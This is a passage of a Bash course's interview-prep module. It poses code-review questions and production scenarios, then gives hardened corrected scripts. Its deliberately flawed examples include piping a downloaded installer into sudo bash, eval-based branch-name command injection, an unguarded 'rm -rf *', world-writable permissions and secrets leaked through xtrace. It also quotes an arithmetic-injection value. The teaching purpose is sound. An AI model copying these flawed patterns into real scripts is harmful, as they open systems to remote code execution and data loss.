  • Metrics: warning count, number of subcommands covered by tests, rollback count; assess which parts should migrate to Python or Ansible.

Scenario 7-2: in production, a "deployment succeeded but the service runs the old version" happens intermittently

The deployment pipeline runs dozens of times a day; in about 2% of runs it reports success, yet production still runs the old version. There are no errors in the logs. How do you locate the problem?

Reference answer points
  • Hypothesis list: set -e ineffective inside functions called conditionally (#26); local x=$(…) masks download failures (#27); failures in early pipeline stages (#28); failures of parallel steps get wait swallowed (#36); two deployments running at the same time overwrite each other (#35); curl without -f treats an error page as the artifact (#25).
  • Evidence: enable timestamped xtrace written to the artifact (Q32), record each step's exit code and artifact checksum; after deployment, verify the live version (/version endpoint) and fail if it does not match.
  • Fix: explicit error handling + validation + locking + post-deployment verification, with automatic rollback on failure (Q42).

Scenario 7-3: the script leaves half-finished output after Ctrl-C

A data migration script was interrupted by an operator's Ctrl-C, leaving half the files in the target directory; the next run skipped the files that "already existed", so the data ended up incomplete. Please redesign it.

Reference answer points
  • Write to a temporary location (on the same filesystem as the mktemp -d), and only after everything is complete and verified, atomically mv/rename move it to the final location (#34).
  • trap Handle INT/TERM → EXIT to clean up the temp directory (Q28); SIGKILL cannot be caught, so at the start of the next run, clean up leftover temp directories (by prefix and age).
  • Change the "already exists" check to a checksum / completion marker (.done written last), rather than mere existence; the whole process is re-entrant (Q30).
or score ≥ 70% on the quiz

Module 8 · Part B: Real-world scenarios and code review (interview 39–50)

52:00 – 60:00 · 6 code-review questions (backup, log cleanup, deployment bootstrap, host initialization, cron jobs, waiting for readiness) + zero-downtime deployment, batch SSH, cloud CLIs, CI, when not to use Bash, untrusted input
8 minutesFind the problems → prioritize → give a corrected version12 questions
Learning goals
  • Order of answering code-review questions: ① could it delete or write the wrong data (correctness and destructiveness) → ② security (injection, secrets, permissions) → ③ are failures visible (exit codes, logs) → ④ concurrency and re-entry → ⑤ portability and maintainability; reference the Part A number and the ShellCheck rule for each problem.
  • A corrected version keeps changes minimal and explains why; do not simply say "rewrite it in Python".
  • For design questions, give a practical skeleton: atomic switching, rollback, concurrency limits, timeouts, idempotency, observability.

Browse the questions and their focus first; click a row to jump to the details. For code-review questions, try to find the problems on paper within 5 minutes before expanding the answer.

Q39. [Code review] What problems does this database backup script have? Rank them by severity and give a corrected version.Senior
#!/bin/sh
BACKUP_DIR=$1
cd $BACKUP_DIR
rm -rf *
mysqldump -u root -p$DB_PASS --all-databases | gzip > backup-$(date +%F).sql.gz
echo "backup done"
30-second answer

The most serious is destructive: with no arguments or when the directory does not exist, cd fails (or cd to $HOME),rm -rf * deletes the current directory (#2, #31). Next,silent failure: with no pipefail, mysqldump failure still produces a 20-byte gz and prints done (#28). Then security: the password is in command-line arguments,ps visible (#46), and unquoted (#1). Also: deleting old backups before creating new ones (if it fails, nothing remains),#!/bin/sh, no locking, no verification.

In-depth answer (corrected version)
#!/usr/bin/env bash
set -Eeuo pipefail
backup_dir=${1:?usage: backup.sh <backup_dir>}
[[ -d $backup_dir ]] || { echo "not a directory: $backup_dir" >&2; exit 2; }
exec 9>"$backup_dir/.lock"; flock -n 9 || { echo "another backup running" >&2; exit 0; }
tmp=$(mktemp "$backup_dir/.backup.XXXXXX"); trap 'rm -f -- "$tmp"' EXIT
# keep credentials in a 0600 options file, not in argv
mysqldump --defaults-extra-file=/etc/mysql/backup.cnf --single-transaction --all-databases | gzip > "$tmp"
gzip -t "$tmp"
final="$backup_dir/backup-$(date -u +%F).sql.gz"
mv -- "$tmp" "$final"; trap - EXIT
find "$backup_dir" -maxdepth 1 -name 'backup-*.sql.gz' -mtime +14 -delete  # clean up old backups only after the new backup succeeds
echo "backup ok: $final ($(stat -c %s "$final") bytes)"
Common follow-up questions
  • What is still missing? Off-site / object-storage replication, encryption, restore drills, failure alerts (non-zero exit → monitoring), configurable retention policy.
Bonus points

DB_PASS When -p$DB_PASS is empty, mysqldump asks for a password interactively and hangs under cron; ShellCheck reports SC2086 and SC2164, but cannot find the logical problem of "delete first, back up later".

Common wrong answers

Only pointing out "variables must be quoted", missing the deletion order and the silent failures.

Related: #1 #2 #28 #31 #34 #35 #46; Lesson 6 Module 5 Backup and rotation.

Q40. [Code review] Why does this log statistics and cleanup script "always report 0 errors" and occasionally delete the wrong files?Intermediate
#!/bin/bash
set -e
errors=0
for f in $(ls /var/log/app/*.log); do
  cat $f | grep ERROR | while read line; do
    ((errors++))
  done
done
echo "errors: $errors"
find /var/log/app -mtime +7 | xargs rm
30-second answer

① the while in a pipeline runs in a subshell,errors changes are lost, so it is always 0 (#15); ②set -e under ((errors++)) returns 1 the first time, but only makes the pipeline subshell exit (#30); ③$(ls …) splits filenames (#5),cat $f is unquoted (#1); ④grep returns 1 on no match; without pipefail it is ignored, and with pipefail the script exits (#22); ⑤find | xargs rm is unsafe for filenames with spaces or newlines (#23), and find has no -type f and name filter, so it tries to delete directories and other files; ⑥read missing -r (#12).

In-depth answer (corrected version)
#!/usr/bin/env bash
set -Eeuo pipefail
shopt -s nullglob
log_dir=/var/log/app
files=("$log_dir"/*.log)
errors=0
if (( ${#files[@]} )); then
  errors=$(cat -- "${files[@]}" | grep -c ERROR || true)  # count in one pass, no per-line loop
fi
echo "errors: $errors"
find "$log_dir" -type f -name '*.log' -mtime +7 -print0 | xargs -0 -r rm -f --
Common follow-up questions
  • Count per file? grep -c ERROR -- "${files[@]}" Directly output file:count; or awk '/ERROR/{c[FILENAME]++} END{for(f in c) print c[f], f}'.
Bonus points

"A per-line while + ((n++))" is itself an anti-pattern (Q25); log cleanup should be left to logrotate / journald retention policies.

Common wrong answers

Only saying "switch to shopt -s lastpipe”——for still has one more layer in cat |, and lastpipe does not take effect during interactive debugging.

Related: #1 #5 #12 #15 #22 #23 #30.

Q41. [Code review] A newcomer's "deployment bootstrap" script: point out the security problems and give fixes.Senior
#!/bin/bash
set -x
TOKEN=$(cat ~/.deploy_token)
curl -s https://tools.example.com/install.sh | sudo bash
BRANCH=$1
eval "git checkout $BRANCH"
curl -s -H "Authorization: Bearer $TOKEN" "https://api.example.com/deploy?branch=$BRANCH&env=$2"
chmod -R 777 /opt/app
30-second answer

①set -x logs the token (#46); ②curl | sudo bash: root runs unverified remote code; if the download is interrupted, half a script runs,-s without -f means the error page also runs (#25); ③eval "git checkout $BRANCH": a branch name can inject arbitrary commands (#11); ④ the token is in curl's command-line arguments, visible to users on the same machine; ps ; ⑤$BRANCH,$2 is unvalidated and not URL-encoded; ⑥chmod -R 777: anyone can modify the code; ⑦ no error handling and no pipefail.

In-depth answer (corrected version)
#!/usr/bin/env bash
set -Eeuo pipefail
branch=${1:?usage: deploy.sh <branch> <env>}; env=${2:?usage: deploy.sh <branch> <env>}
[[ $branch =~ ^[A-Za-z0-9._/-]+$ && $branch != -* ]] || { echo "invalid branch" >&2; exit 2; }
[[ $env =~ ^(dev|staging|prod)$ ]] || { echo "invalid env" >&2; exit 2; }
# install the tool: download to a file → verify a pinned SHA256 → execute
tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT
curl -fsSL --max-time 60 -o "$tmp/install.sh" "https://tools.example.com/v1.4.2/install.sh"
echo "${INSTALL_SHA256:?}  $tmp/install.sh" | sha256sum -c -
sudo bash "$tmp/install.sh"
git checkout --quiet "$branch" --  # passed as an argument, no eval; -- stops it being taken as a path/option
# the token enters the request header via stdin; it does not appear in argv or xtrace
curl -fsS --max-time 30 -H @- -G "https://api.example.com/deploy" \
  --data-urlencode "branch=$branch" --data-urlencode "env=$env" \
  < <(printf 'Authorization: Bearer %s\n' "$(cat ~/.deploy_token)")
sudo chown -R root:app /opt/app && sudo chmod -R u=rwX,g=rX,o= /opt/app
Common follow-up questions
  • The token file itself? Permissions 0600; in CI, exchange OIDC for a short-lived token, and never store a long-lived token on disk.
Bonus points

git checkout "$branch" In the regex, - beyond regex matching, also reject a leading dash, because a branch name beginning with it is taken as an option (#50) -.

Common wrong answers

Only saying "remove set -x".

Related: #11 #25 #46 #50; Lesson 4 Module 7 Security.

Q42. Design a zero-downtime, rollback-capable deployment script (single machine or a few VMs, not containers).Senior
30-second answer

"Versioned directories + atomic symlink switch": each release is extracted into /opt/app/releases/<version>, with dependencies and config prepared,ln -sfn after creating a temporary link, mv -T atomically replace /opt/app/current; reload the service and run a health check; on failure, switch back to the previous version. Keep the latest N versions, lock the deployment, and record logs and exit codes.

In-depth answer
deploy() {
  local ver=$1 base=/opt/app rel prev
  rel="$base/releases/$ver"; prev=$(readlink -f "$base/current" || true)
  exec 9>"$base/.deploy.lock"; flock -n 9 || util::die "deploy in progress"
  [[ -d $rel ]] || { mkdir -p -- "$rel.tmp" && tar -xzf "artifacts/app-$ver.tgz" -C "$rel.tmp" && mv -T -- "$rel.tmp" "$rel"; }
  ln -sfn -- "$rel" "$base/current.tmp" && mv -Tf -- "$base/current.tmp" "$base/current"  # rename(2): atomic (GNU mv -T)
  systemctl reload-or-restart app
  if ! retry 10 curl -fsS --max-time 3 http://127.0.0.1:8080/healthz >/dev/null; then
    log::error "health check failed, rolling back to $prev"
    [[ -n $prev ]] && ln -sfn -- "$prev" "$base/current.tmp" && mv -Tf -- "$base/current.tmp" "$base/current"
    systemctl reload-or-restart app; return 1
  fi
  ls -1dt "$base"/releases/*/ | tail -n +6 | xargs -r -d '\n' rm -rf --  # keep 5 (GNU xargs -d)
}
  • Zero downtime also depends on the service itself: multiple instances with load balancing to drain traffic one by one, or a process manager that supports graceful reload (such as gunicorn's HUP).
  • Database migrations must be forward-compatible (expand first, contract later); otherwise the code can roll back but the data cannot.
Common follow-up questions
  • Why not directly ln -sfn? It is a two-step "delete + create", with a moment where there is no link; mv -T use rename(2) to replace it in one step.
Bonus points

Know when to switch to platform capabilities: container rolling updates, blue/green or canary releases (Kubernetes, cloud load balancers); the script only orchestrates.

Common wrong answers

"First rm -rf /opt/app and then extract the new version".

See Lesson 6 Module 4 Deployment script: health checks, rollback and atomic switching.

Q43. You need to run one check command on 300 VMs, limit concurrency, set timeouts and summarize failed hosts. How would you write it in Bash?Intermediate
30-second answer

Read the list line by line (fd 3 prevents ssh from swallowing stdin, #16) → one background job per host,ssh -n -o BatchMode=yes -o ConnectTimeout=5 + timeout → wait -n or xargs -P to limit concurrency → each host writes its output to its own file → summarize by exit code; any failure makes the script exit non-zero (#36, #37).

In-depth answer
run_one() {
  local h=$1 out=$2
  timeout -k 5 60 ssh -n -o BatchMode=yes -o ConnectTimeout=5 "$h" 'uptime; df -h /' >"$out/$h.log" 2>&1
  echo $? >"$out/$h.rc"
}
export -f run_one
out=$(mktemp -d)
grep -vE '^\s*(#|$)' hosts.txt | tr -d '\r' |
  xargs -r -P 20 -I{} bash -c 'run_one "$1" "$2"' _ {} "$out"
failed=$(grep -lv '^0$' "$out"/*.rc | xargs -r -n1 basename | sed 's/\.rc$//')
[[ -z $failed ]] || { printf 'FAILED:\n%s\n' "$failed" >&2; exit 1; }
  • xargs -I{} Pass the host name as an argument to bash -c, rather than concatenating it into the code string (#11).
  • With dozens of hosts or more, and when you need retries / idempotency / inventory groups, use Ansible (forks,--limit, failure summaries), or the cloud's Run Command / SSM.
Common follow-up questions
  • GNU parallel? parallel -j20 --timeout 60 --joblog jobs.tsv --halt never Has built-in retries and job logs (latest verified version 20261022).
Bonus points

Host key policy: do not use StrictHostKeyChecking=no as a shortcut; pre-distribute known_hosts or use SSH certificates.

Common wrong answers

for h in $(cat hosts); do ssh $h cmd & done; wait— no concurrency limit, swallowing stdin, failures invisible.

See Lesson 6 Module 3: Batch operations,Ansible 8 hours.

Q44. [Code review] Host initialization script: why does the second run break? What other portability and permission problems are there?Intermediate
#!/bin/bash
users=(alice bob)
for u in ${users[@]}; do useradd -m $u; done
sudo echo "net.core.somaxconn=4096" >> /etc/sysctl.conf
echo "export APP_ENV=prod" >> ~/.bashrc
cd /opt && git clone https://git.example.com/app.git
function setup_dirs { mkdir /var/lib/app; chown app /var/lib/app; }
setup_dirs
30-second answer

①Not idempotent: on rerun, useradd (user already exists),git clone (directory already exists),mkdir all fail,>> re-append the configuration (Q30); ②sh runtime arrays and function syntax errors (#40); ③sudo echo >> redirection is unaffected by sudo (#43); ④ writing ~/.bashrc has no effect on services (services do not read bashrc, #42, Q7); ⑤chown app when app the user may not exist; ⑥ no error handling, so failures are ignored and it continues.

In-depth answer (corrected version)
#!/usr/bin/env bash
set -Eeuo pipefail
for u in alice bob; do id -u "$u" >/dev/null 2>&1 || useradd -m -- "$u"; done
id -u app >/dev/null 2>&1 || useradd --system --no-create-home --shell /usr/sbin/nologin app
install -m 0644 /dev/stdin /etc/sysctl.d/90-app.conf <<<'net.core.somaxconn=4096'  # separate file, safe to run repeatedly
sysctl --system >/dev/null
install -d -o app -g app -m 0750 /var/lib/app
if [[ -d /opt/app/.git ]]; then git -C /opt/app pull --ff-only; else git clone -- https://git.example.com/app.git /opt/app; fi
# put the service environment into the systemd unit: Environment=APP_ENV=prod
Common follow-up questions
  • How do you ensure Bash is used in cloud-init? The script has a shebang,runcmd invoke it with bash /path/script, or write_files + execute it; better still, use cloud-init's native modules (users,write_files) or configuration management.
Bonus points

This script is essentially configuration management; as it grows it should migrate to Ansible (declarative, idempotent, with changed reporting).

Common wrong answers

Only fixing syntax and not mentioning idempotency.

Related: #40 #42 #43; Q30.

Q45. When writing scripts with the az / aws CLI to batch-process cloud resources, what should you watch for (output format, pagination, rate limiting, identity, security)?Intermediate
30-second answer

①Output: --query (JMESPath) + -o tsv/--output text to extract values; for complex cases, use JSON + jq, and handle empty values (az's None) (#25); ②Pagination: aws CLI v2 paginates automatically by default; watch --max-items and NextToken; most az list commands return everything; ③Rate limiting: Throttling / 429 with backoff and retry (Q31); ④Identity and scope: print the current account / subscription first, and pass --profile/--subscription explicitly (#49); ⑤Security: --dry-run, list before confirming, require an explicit parameter for deletion, and use OIDC in CI.

In-depth answer
az account show --query '{sub:name, id:id}' -o tsv
mapfile -t vms < <(az vm list -g "${RG:?}" --query "[?tags.env=='dev'].name" -o tsv)
for vm in "${vms[@]}"; do retry 5 az vm deallocate -g "$RG" -n "$vm" --no-wait; done

aws sts get-caller-identity --query Account --output text
aws ec2 describe-instances --region ca-central-1 \
  --filters Name=tag:env,Values=dev Name=instance-state-name,Values=running \
  --query 'Reservations[].Instances[].InstanceId' --output text | tr '\t' '\n' |
  xargs -r -n 50 aws ec2 stop-instances --region ca-central-1 --dry-run --instance-ids
  • --output text Separate multiple values with tabs and hand them to xargs after conversion; batch APIs take several IDs in one call to reduce the number of calls.
  • For long operations, use --no-wait + status polling with a timeout, or the CLI's wait subcommands.
Common follow-up questions
  • When should you not use CLI scripts? When you need desired state, drift detection and approvals, use Terraform; scripts suit one-off operations and glue.
Bonus points

Add --yes switches and interactive confirmation ([[ -t 0 ]] prompts only when the flag is set; by default it only prints the plan.

Common wrong answers

for id in $(aws ec2 describe-instances | grep InstanceId | cut -d'"' -f4).

See Lesson 6 Module 2: Scripting cloud CLIs,Terraform 8 hours.

Q46. What are the best practices for running Bash in CI (GitHub Actions / GitLab CI)? What pitfalls are there with the default shell?Intermediate
30-second answer

GitHub Actions: if shell is not written, Linux/macOS default to bash -e {0} (no pipefail); explicitly shell: bash is bash --noprofile --norc -eo pipefail {0} (official docs), so use defaults.run.shell: bash to unify it. Put logic in repository scripts (runnable locally and testable); YAML only calls them; ${{ … }} expressions go into environment variables first and are then referenced, to prevent injection; secrets are not printed or put into argv; get cloud credentials via OIDC; scripts have the execute bit (#45). GitLab CI's script: is run by the shell in the image; on Alpine it may be BusyBox sh (#40, #48).

In-depth answer
defaults:
  run:
    shell: bash
jobs:
  deploy:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    steps:
      - uses: actions/checkout@v5
      - name: Deploy
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}  # first put it into an environment variable
        run: ./scripts/deploy.sh --env staging --title "$PR_TITLE"
  • Set the quality gate as a separate job: shellcheck,shfmt -d,bats (Q33–Q35).
  • Use the official repository for the Action version; pin third-party Actions to a commit SHA.
Common follow-up questions
  • Why does it succeed locally but fail in CI? Environment differences: Bash version, locale, PATH, no TTY, working directory, concurrent jobs (#39–#49).
Bonus points

Print the CI shell options and Bash version at the start of the log, so troubleshooting is obvious.

Common wrong answers

“GitHub Actions has pipefail by default”.

See Lesson 6 Module 7: Running scripts in CI,GitHub 8 hours,GitLab 8 hours.

Q47. When should you not use Bash? What signals tell you it is time to migrate to Python / Go / Ansible?Beginner
30-second answer

Bash is good at glue: calling programs, handling files and pipes, short automation. Migration signals: ① nested data structures (dictionaries of lists) or heavy JSON processing; ② reliable error handling, retries and concurrency control with many branches; ③ more than a few hundred lines with lots of state passed between functions; ④ need for unit-test coverage, type checking, cross-platform support (including Windows); ⑤ the bottleneck is massive forking; ⑥ it is essentially declarative configuration management (→ Ansible) or infrastructure (→ Terraform).

In-depth answer
  • Rule of thumb from the Google Shell Style Guide: beyond about 100 lines, or when control flow gets complex, consider rewriting in a structured language.
  • Migration: first use bats to lock in the existing behavior as tests, then replace the subcommands one at a time (opsctl's subcommand dispatch makes this easy), with the Bash wrapper calling the new implementation.
  • Do not overcorrect: for a 20-line cron wrapper, a container entrypoint or CI glue, Bash is still the best fit.
Common follow-up questions
  • Doesn't Python avoid these problems? It has its own problems (dependencies and virtual environments, interpreter versions), but error handling and data structures are built in.
Bonus points

Use Part A as examples: problems like #15, #26, #27 and #36 do not exist in languages with exception mechanisms.

Common wrong answers

“Bash can do anything”, or “Bash should never be used in production”.

See Lesson 7 Module 7: When not to use Bash.

Q48. Your script must handle untrusted input (user arguments, filenames, API responses, PR titles). List your security checklist.Senior
30-second answer

①Validate: whitelist regex / enumerations, length limits, reject a leading -; ②Stop parsing: do not use eval/bash -c "…$x…"/ssh h "…$x…", pass data as separate arguments (#11); ③Quoting and --: quote all expansions, and prefix arguments with --, and prefix globs with ./ (#1, #50); ④Arithmetic context: validate numbers before they enter $(( ))/[[ -eq ]] (#8, #17); ⑤File system: mktemp, do not follow symlinks controlled by an attacker, canonicalize paths and restrict them to allowed prefixes (#34); ⑥Secrets: keep them out of argv, logs and xtrace (#46); ⑦Permissions: least privilege; do not handle user-writable directories as root.

In-depth answer
safe_path() {  # restrict a user-supplied relative path to base
  local base=$1 p real
  p=$2
  [[ $p != -* && $p != *$'\n'* ]] || return 1
  real=$(realpath -m -- "$base/$p") || return 1  # GNU realpath: normalizes .. and redundant /
  [[ $real == "$base"/* ]] || return 1
  printf '%s\n' "$real"
}
[[ ${#name} -le 63 && $name =~ ^[a-z0-9](%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?$ ]] || die "bad name"
jq -n --arg t "$title" '{title: $t}'  # build JSON with --arg, do not concatenate strings
  • In CI, be especially careful not to ${{ github.event.* }} inline directly into run: (Q46).
  • Untrusted BASH_ENV,PATH, and exported functions are also input (Q4, Q7).
Common follow-up questions
  • Why must numbers also be validated? Bash arithmetic recursively evaluates variable names and array subscripts,x='a[$(cmd)]' so entering an arithmetic context may execute commands (depending on the version; Bash 5.3's array_expand_once mitigates some of this).
Bonus points

Turn the checklist into a review template, ShellCheck rules and bats malicious-input test cases.

Common wrong answers

“Filtering out semicolons makes it safe”—there are still $( ), backticks, newlines,|,&.

See Lesson 4 Module 7 Security.

Q49. [Code review] A sync task that runs every 5 minutes: find the concurrency, reliability and observability problems.Intermediate
#!/bin/bash
OUT=/tmp/sync-result.json
curl -s https://api.example.com/items > $OUT
for id in $(jq -r '.[].id' $OUT); do
  process_item $id &
done
wait
echo $(date) "sync ok" >> /var/log/sync.log
30-second answer

①Overlapping runs: no lock; when a run exceeds 5 minutes, multiple instances write at the same time /tmp/sync-result.json (#35, #34); ②Failures are invisible: curl -s no -f, no timeouts (#25, #38), and a bare wait always returns 0 (#36) and unconditionally writes "sync ok" at the end; ③No concurrency limit: one background process per id, which overwhelms the machine and the API with thousands of items; ④Environment: under cron, may not find jq,process_item (#39), and if process_item is a function it is undefined; ⑤ fixed /tmp file name has security issues; ⑥ unquoted (#1).

In-depth answer (corrected version)
#!/usr/bin/env bash
set -Eeuo pipefail
export PATH=/usr/local/bin:/usr/bin:/bin LC_ALL=C.UTF-8
source /opt/sync/lib.sh  # defines process_item
exec 9>/run/lock/sync.lock; flock -n 9 || { logger -t sync "previous run active, skip"; exit 0; }
tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT
curl -fsS --max-time 30 --retry 3 -o "$tmp/items.json" https://api.example.com/items
jq -e 'type == "array"' "$tmp/items.json" >/dev/null
export -f process_item
jq -r '.[].id' "$tmp/items.json" | grep -E '^[A-Za-z0-9_-]+$' |
  xargs -r -P 8 -I{} timeout 120 bash -c 'process_item "$1"' _ {}  # if any one fails → xargs returns 123
logger -t sync "sync ok: $(jq length "$tmp/items.json") items"
Common follow-up questions
  • How do you alert? Switch to a systemd timer + OnFailure=, or push Pushgateway / heartbeat metrics; alert when there has been no success for more than 15 minutes.
Bonus points

GNU xargs exits with 123 when any command returns 1–125, so it can be used directly with set -e.

Common wrong answers

Only adding set -e— this has no effect on background jobs and wait is ineffective.

Related: #25 #34 #35 #36 #38 #39; Lesson 6 Module 6.

Q50. [Code review] "Wait for service readiness" function: under set -e, why does it exit on the first round? What other bugs are there?Intermediate
set -euo pipefail
wait_ready() {
  i=0
  while true; do
    code=$(curl -s -o /dev/null -w '%{http_code}' $1)
    if [ $code == 200 ]; then echo "ready"; break; fi
    ((i++))
    if [ $? -ne 0 ]; then echo "curl failed"; fi
    sleep 2
  done
}
wait_ready http://localhost:8080/healthz
30-second answer

①((i++)) When i=0, it returns 1,set -e so under set -e it exits on the first not-ready check (#30); ② no retry cap and no overall timeout, so if the service never starts it waits forever; ③$? it checks ((i++)) rather than curl's result (#18); ④ when curl cannot connect, %{http_code} prints 000 and exits non-zero; a failed assignment likewise triggers set -e; ⑤[ $code == 200 ]: == in POSIX [ is not portable; variables are unquoted (#4); ⑥$1 is unquoted; ⑦i,code without local, polluting globals (Q17); ⑧ curl has no timeout (#38).

In-depth answer (corrected version)
wait_ready() {
  local url=${1:?url required} timeout_s=${2:-60} deadline code
  deadline=$(( SECONDS + timeout_s ))
  while (( SECONDS < deadline )); do
    code=$(curl -s -o /dev/null --max-time 3 -w '%{http_code}' -- "$url") || code=000
    if [[ $code == 200 ]]; then log::info "ready: $url"; return 0; fi
    log::debug "not ready yet (http=$code)"
    sleep 2
  done
  log::error "timeout after ${timeout_s}s waiting for $url (last http=$code)"
  return 1
}
wait_ready http://localhost:8080/healthz 90 || exit 1
Common follow-up questions
  • Why use SECONDS? Bash's built-in timer, with no need to call date; an overall timeout is more accurate than "attempts × interval" (curl itself takes time).
Bonus points

Leave readiness checks to the platform (Kubernetes readinessProbe, systemd Type=notify, load-balancer health checks), and the script only does post-deployment verification.

Common wrong answers

Only spotting "no timeout", missing ((i++)) and $? problems.

Related: #4 #18 #30 #38; Q17, Q31.

Five-step code review method (Q39–Q41, Q44, Q49, Q50) ① Destructivenessarguments of rm/mv/chmodempty variables · cd failure#2 #31 #50 ② Securityeval · curl|bashsecrets · permissions · /tmp#11 #34 #46 ③ Failures visiblepipefail · wait PIDcurl -f · jq -e · $?#18 #25 #28 #36 ④ Concurrency and re-entryflock · idempotencytimeouts · concurrency limits#35 #37 #38 ⑤ Portability / maintainabilityshebang · environmentlocal · quoting · style#39 #40 #48 Answer template: "The most serious is X, because in case Y it does Z (Part A #N); the fix is …; ShellCheck can / cannot find it; I would add a bats test covering Y."Discuss the highest-impact issues first and style last; for each problem, give the "trigger condition + consequence + fix".
Figure 8-1 When reviewing, rank by impact; interviewers are looking at your prioritization judgment.

Scenario 8-1: a post-mortem of an accidental deletion

On Friday evening, a cleanup script on a newly brought-up server deleted /home/deploy all content under (including SSH keys), causing all subsequent deployments to fail. Script excerpt: cd $WORKDIR/tmp; rm -rf *, the variable was not set on the new server WORKDIR. Please write the key points of the post-mortem: timeline, root cause, why it was not caught, and improvement items.

Reference answer points
  • Root-cause chain: WORKDIR When it is unset, $WORKDIR/tmp expands to /tmp. On the new server, the deploy user's crontab runs the script in $HOME ; if cd entered /tmp, it would delete /tmp contents; if cd fails for permission or mount reasons, it stays in $HOME and runs rm -rf *— in this case it is the latter (#2, #31, #39). In the post-mortem, use bash -x and l8_cronlike to reproduce precisely in the same environment, and confirm with evidence which branch was taken, rather than guessing.
  • Why it was not caught: no ShellCheck (SC2164 and SC2115 would both report it), no testing in a "clean environment", and the new server's configuration inventory lacked the variable.
  • Improvements: set -u + ${WORKDIR:?},cd … || exit, delete a dedicated directory rather than *, a ShellCheck gate in CI, bats cases covering "variable not set", configuration management distributing environments uniformly, regular backups of home directories, and key custody.
  • Culture: blameless post-mortems; each improvement item has an owner and a due date.

Scenario 8-2: consolidate 30 scattered ops scripts into one tool

The team has 30 Bash scripts in different styles (some #!/bin/sh, and some depend on personal .bashrc), and newcomers don't know which to use. Give a consolidation plan.

Reference answer points
  • Inventory: purpose, callers (cron / CI / people), dependencies, risk level; delete those no longer used.
  • Structure: one opsctl-style entry point + subcommands (Q14), unifying logging, exit codes, configuration precedence (Q23) and help.
  • Quality: ShellCheck, shfmt, bats, CI matrix (Q33–Q35, Q38); high-risk subcommands require --yes and dry-run.
  • Boundaries: subcommands that are heavy on data processing are implemented in Python, configuration-type work goes to Ansible; opsctl only provides the unified entry point.
  • Delivery: version numbers and release notes, installation method (package / container), documentation and training.

Scenario 8-3: a timed live-coding interview question: "find the 3 paths with the most 5xx responses in the last 24 hours, and exit 1 when a threshold is exceeded"

The input is ~/bashlab/data/access.log (combined format). Requirements: robust to any User-Agent, configurable threshold, TSV output, exit codes usable for alerting.

Reference answer points
#!/usr/bin/env bash
set -Eeuo pipefail
log=${1:-$HOME/bashlab/data/access.log}; threshold=${THRESHOLD:-10}
[[ $threshold =~ ^[0-9]+$ ]] || { echo "THRESHOLD must be integer" >&2; exit 2; }
LC_ALL=C awk -F'"' '
  { split($2, req, " "); split($3, st, " ") }  # $2 = "GET /path HTTP/1.1", $3 = " 503 123 "
  st[1] ~ /^5/ { c[req[2]]++ }
  END { for (p in c) printf "%d\t%s\n", c[p], p }' "$log" |
  sort -t$'\t' -k1,1nr | head -3 | tee /dev/stderr |
  awk -F'\t' -v t="$threshold" '$1 > t { bad=1 } END { exit bad }'

Split on quotes so that spaces in the User-Agent do not affect the fields (Q20); a 24-hour window can be parsed in awk [17/Nov/2026:10:00:01 +0000] timestamps, or first use find -newermt to select the rotated files; head SIGPIPE does not come up here, because upstream sort reads all input before producing output, and the output is small (#29).

or score ≥ 70% on the quiz

Problem cheat sheet + interview flash cards

50 "error / symptom → first diagnostic command → common fix" · 50 one-line key-point cards · printable
After class

A · 50 production problems cheat sheet

Filter by keyword (for example unbound,\r,pipefail,cron,SC2086,flock). Click a number to jump to the details in the corresponding module.

B · 50 interview question flash cards

Read the question and recall the answer first, then expand to compare with the one-line key point; for details, go back to the "interview question details" in the corresponding module.

General command cards

See clearly what was actually run

bash -n script.sh  # syntax check
bash -x script.sh 2>&1 | less  # trace (watch out for secrets, #46)
PS4='+ ${BASH_SOURCE##*/}:${LINENO}:${FUNCNAME[0]:-main}: '
printf '<%s>\n' "$@"; declare -p var arr  # argument boundaries and real values
type -a cmd; command -v cmd; hash -r
cat -A file | head; od -c file | head  # \r, tabs, trailing newlines

Exit codes and pipes

cmd; rc=$?  # save immediately (#18)
cmd | cmd2; echo "${PIPESTATUS[@]}"  # each segment's exit code
set -Eeuo pipefail; trap 'echo "ERR $LINENO: $BASH_COMMAND" >&2' ERR
kill -l $((rc-128))  # 128+N → signal name
{ cmd | head -1; } || [[ $? -eq 141 ]]  # tolerate only SIGPIPE (#29)
i=$((i+1))  # not ((i++)) (#30)

Safe expansion and filenames

rm -rf -- "${dir:?}/"*  # empty-value guard + -- (#2)
cd -- "$dir" || exit 1  # #31
shopt -s nullglob; files=(./*.log)  # #6
find . -name '*.log' -print0 | xargs -0 -r cmd --
while IFS= read -r -d '' f; do …; done < <(find . -print0)
tar -C "$dir" -cf out.tar .  # do not expand globs (#50)

Reading input

while IFS= read -r -u 3 line || [[ -n $line ]]; do
  line=${line%$'\r'}; …
done 3< file  # #12 #13 #14 #16
while read -r x; do …; done < <(cmd)  # variables are not lost (#15)
mapfile -t lines < file
ssh -n "$h" cmd  # does not swallow stdin

Environment and portability

readlink -f /bin/sh; echo "$BASH_VERSION"
env -i PATH=/usr/bin:/bin /bin/sh -c ./job.sh  # simulates cron (#39)
shellcheck -s sh x.sh; dash x.sh  # #40
docker run --rm -v "$PWD":/w -w /w bash:3.2 bash x.sh  # #41
export LC_ALL=C  # #20 #21
SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)  # #44

Concurrency, cleanup and timeouts

tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT  # #34
exec 9>/run/lock/job.lock; flock -n 9 || exit 0  # #35
cmd & pids+=($!); for p in "${pids[@]}"; do wait "$p" || f=1; done  # #36
timeout -k 10 300 cmd; curl --max-time 30 …  # #38
trap 'exit 143' TERM; long_task & wait $!  # #33
exec "$@"  # container entrypoint (Q37)

ShellCheck rules ↔ problem numbers

RuleMeaning (ShellCheck 0.11.0 summary)Problem
SC2086Double quote to prevent globbing and word splitting.#1 #10
SC2115Use "${var:?}" to ensure this never expands to /* .#2
SC2070-n doesn't work with unquoted arguments. Quote or use [[ ]].#4
SC2045 / SC2035Iterating over ls output is fragile. Use globs. / Use ./*glob* or -- *glob* so names with dashes won't become options.#5 #50
SC2088Tilde does not expand in quotes. Use $HOME.#7
SC2048 / SC2068Use "$@" (with quotes) to prevent whitespace problems. / Double quote array expansions to avoid re-splitting elements.#10
SC2162read without -r will mangle backslashes.#12
SC1017Literal carriage return. Run script through tr -d '\r' .#13
